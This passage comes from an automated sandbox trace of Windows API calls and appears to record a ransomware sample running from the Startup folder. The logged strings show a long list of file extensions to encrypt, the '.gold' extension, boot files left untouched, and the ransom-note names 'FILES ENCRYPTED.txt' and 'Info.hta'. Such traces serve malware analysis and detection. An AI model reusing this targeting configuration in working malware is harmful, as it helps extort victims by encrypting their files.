(HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54af48 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54af60 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54af78 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54af90 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54afa8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54afc0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54afd8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54aff0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b008 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b020 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b038 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b050 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b068 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b080 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b098 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b0b0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b0c8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b0e0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x54b0f8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b110 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529550 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b128 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529560 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b140 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b158 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b170 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b188 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b1a0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b1b8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b1d0 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b1e8 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b200 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b218 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b230 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b248 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x54b260 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b278 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529570 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b290 [0085.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x54b2a8 [0085.458] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529a70, Size=0x800) returned 0x54b730 [0085.458] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0085.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56cf28 | out: hHeap=0x4f0000) returned 1 [0085.458] lstrlenW (lpString="") returned 0 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c070 | out: hHeap=0x4f0000) returned 1 [0085.459] lstrlenW (lpString=".gold") returned 5 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5255b8, Size=0x8) returned 0x5255b8 [0085.459] lstrlenW (lpString=".gold") returned 5 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c070 | out: hHeap=0x4f0000) returned 1 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0a0, Size=0x20) returned 0x504640 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504640, Size=0x40) returned 0x526d40 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526d40, Size=0x80) returned 0x56af40 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5295e0, Size=0x8) returned 0x5295f0 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5295f0, Size=0x10) returned 0x54c0a0 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0a0, Size=0x20) returned 0x504618 [0085.459] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0d0, Size=0x20) returned 0x525ba0 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ba0, Size=0x40) returned 0x526d40 [0085.459] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0085.459] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526d40 | out: hHeap=0x4f0000) returned 1 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0d0, Size=0x20) returned 0x525ba0 [0085.459] lstrlenW (lpString="Info.hta") returned 8 [0085.459] lstrlenW (lpString="Info.hta") returned 8 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ba0 | out: hHeap=0x4f0000) returned 1 [0085.459] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x54c338, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x67 [0085.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c338 | out: hHeap=0x4f0000) returned 1 [0085.459] lstrlenW (lpString="payload.exe") returned 11 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x526d40 [0085.459] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0d0, Size=0x20) returned 0x504618 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0d0, Size=0x20) returned 0x525ba0 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525ba0, Size=0x40) returned 0x526d88 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526d88, Size=0x80) returned 0x56af40 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x56cf28 [0085.460] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56cf28 | out: hHeap=0x4f0000) returned 1 [0085.460] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x54c338, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56ef30 | out: hHeap=0x4f0000) returned 1 [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c338 | out: hHeap=0x4f0000) returned 1 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5295f0, Size=0x8) returned 0x5295e0 [0085.460] lstrlenW (lpString="%windir%;") returned 9 [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504618 | out: hHeap=0x4f0000) returned 1 [0085.460] lstrlenW (lpString="C:\\Windows;") returned 11 [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53af28 | out: hHeap=0x4f0000) returned 1 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c0e8, Size=0x20) returned 0x504618 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504618, Size=0x40) returned 0x526d88 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526d88, Size=0x80) returned 0x56af40 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x56cf28 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529620, Size=0x8) returned 0x529630 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529630, Size=0x10) returned 0x54c130 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c130, Size=0x20) returned 0x504618 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5295f0, Size=0x8) returned 0x529630 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529600, Size=0x8) returned 0x5295f0 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529620, Size=0x8) returned 0x529640 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529640, Size=0x10) returned 0x54c1d8 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c1d8, Size=0x20) returned 0x525ba0 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529630, Size=0x10) returned 0x54c1d8 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5295f0, Size=0x10) returned 0x54c208 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529630, Size=0x8) returned 0x529620 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529650, Size=0x8) returned 0x529660 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c1d8, Size=0x20) returned 0x525bf0 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c208, Size=0x20) returned 0x525b00 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529670, Size=0x8) returned 0x529680 [0085.460] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0085.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56cf28 | out: hHeap=0x4f0000) returned 1 [0085.460] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c280, Size=0x20) returned 0x525c18 [0085.460] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x53af28, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0085.460] lstrlenW (lpString="C:\\") returned 3 [0085.460] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53af28 | out: hHeap=0x4f0000) returned 1 [0085.461] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5296b0, Size=0x82) returned 0x56d490 [0085.461] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5296d0, Size=0x100) returned 0x56d520 [0085.461] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d490, Size=0x104) returned 0x56d748 [0085.461] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d520, Size=0x200) returned 0x56d858 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5296c0 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d858 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d0a8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b0d8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c2e0 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b160 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c310 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d748 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c2f8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d628 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d0c0 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d0d8 | out: hHeap=0x4f0000) returned 1 [0085.462] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c2f8, Size=0x20) returned 0x525c40 [0085.462] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c40, Size=0x40) returned 0x526d88 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529690 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c280 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d000 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c2b0 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56b050 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c298 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5296a0 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54c2c8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5049d8 | out: hHeap=0x4f0000) returned 1 [0085.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5262c0 | out: hHeap=0x4f0000) returned 1 [0085.462] lstrlenW (lpString="%systemdrive%") returned 13 [0085.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c18 | out: hHeap=0x4f0000) returned 1 [0085.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0085.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529670 | out: hHeap=0x4f0000) returned 1 [0085.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x52af08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c2c8, Size=0x20) returned 0x525c40 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c40, Size=0x40) returned 0x526dd0 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526dd0, Size=0x80) returned 0x56af40 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x56d490 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d490, Size=0x200) returned 0x56d490 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d490, Size=0x400) returned 0x56d490 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d490, Size=0x800) returned 0x56d490 [0085.463] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d490, Size=0x1000) returned 0x57ef50 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529670, Size=0x8) returned 0x529690 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529690, Size=0x10) returned 0x54c2e0 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54c2e0, Size=0x20) returned 0x525c40 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c40, Size=0x40) returned 0x526dd0 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526dd0, Size=0x80) returned 0x56af40 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56af40, Size=0x100) returned 0x53cf48 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53cf48, Size=0x200) returned 0x56d890 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x56d890, Size=0x400) returned 0x53ef30 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ef30, Size=0x800) returned 0x53ff38 [0085.464] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0085.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ef50 | out: hHeap=0x4f0000) returned 1 [0085.464] lstrlenW (lpString="") returned 0 [0085.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540db8 | out: hHeap=0x4f0000) returned 1 [0085.464] lstrlenW (lpString=".gold") returned 5 [0085.464] lstrlenW (lpString=".gold") returned 5 [0085.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540db8 | out: hHeap=0x4f0000) returned 1 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540de8, Size=0x20) returned 0x525c40 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c40, Size=0x40) returned 0x526dd0 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526dd0, Size=0x80) returned 0x56af40 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529810, Size=0x8) returned 0x529820 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529820, Size=0x10) returned 0x540de8 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540de8, Size=0x20) returned 0x525c90 [0085.464] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0085.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56af40 | out: hHeap=0x4f0000) returned 1 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e18, Size=0x20) returned 0x525cb8 [0085.464] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525cb8, Size=0x40) returned 0x526dd0 [0085.464] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0085.465] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526dd0 | out: hHeap=0x4f0000) returned 1 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e18, Size=0x20) returned 0x525cb8 [0085.465] lstrlenW (lpString="Info.hta") returned 8 [0085.465] lstrlenW (lpString="Info.hta") returned 8 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525cb8 | out: hHeap=0x4f0000) returned 1 [0085.465] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57ef50, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x67 [0085.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ef50 | out: hHeap=0x4f0000) returned 1 [0085.465] lstrlenW (lpString="payload.exe") returned 11 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525c90, Size=0x40) returned 0x526dd0 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e18, Size=0x20) returned 0x525c90 [0085.465] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540e18, Size=0x20) returned 